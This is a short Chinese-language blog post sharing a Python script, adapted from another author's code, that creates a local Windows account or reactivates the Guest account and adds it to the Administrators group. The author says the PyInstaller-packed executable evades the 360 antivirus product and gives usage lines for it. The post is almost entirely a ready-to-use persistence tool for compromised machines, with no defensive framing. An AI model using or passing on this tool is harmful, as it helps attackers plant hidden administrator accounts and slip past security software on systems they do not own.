Lz1y Blog
参考 Lz1y 大佬的代码, 自己改了改.
完美过 360.
用 Pyinstaller 打包 大约 4mb 左右.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
#!/usr/bin/python
import win32api
import win32net
import win32netcon
import sys
def AddUser(username,password):
usr = {}
usr['name'] = username
usr['password'] = password
usr['priv'] = win32netcon.USER_PRIV_USER
usr['comment'] = None
usr['flags'] = win32netcon.UF_NORMAL_ACCOUNT | win32netcon.UF_SCRIPT
try:
win32net.NetUserAdd(None,1,usr)
win32net.NetLocalGroupAddMembers(None,'Administrators',3,[{'domainandname':username}])
mem,tot,res = win32net.NetLocalGroupGetMembers(None,'Administrators',3)
print 'Successful'
except:
print 'Failed'
def AddGuest(password):
try:
win32net.NetUserChangePassword(None,'Guest',password,password)
win32net.NetLocalGroupAddMembers(None,'Administrators',3,[{'domainandname':'Guest'}])
mem,tot,res = win32net.NetLocalGroupGetMembers(None,'Administrators',3)
print 'Successful'
except:
print 'Failed'
if len(sys.argv) == 2:
AddGuest(sys.argv[1])
elif len(sys.argv) == 3:
AddUser(sys.argv[1],sys.argv[2])
else:
print 'Usage:'
print 'xxoo.exe admin 123456'
print 'xxoo.exe 123456'
|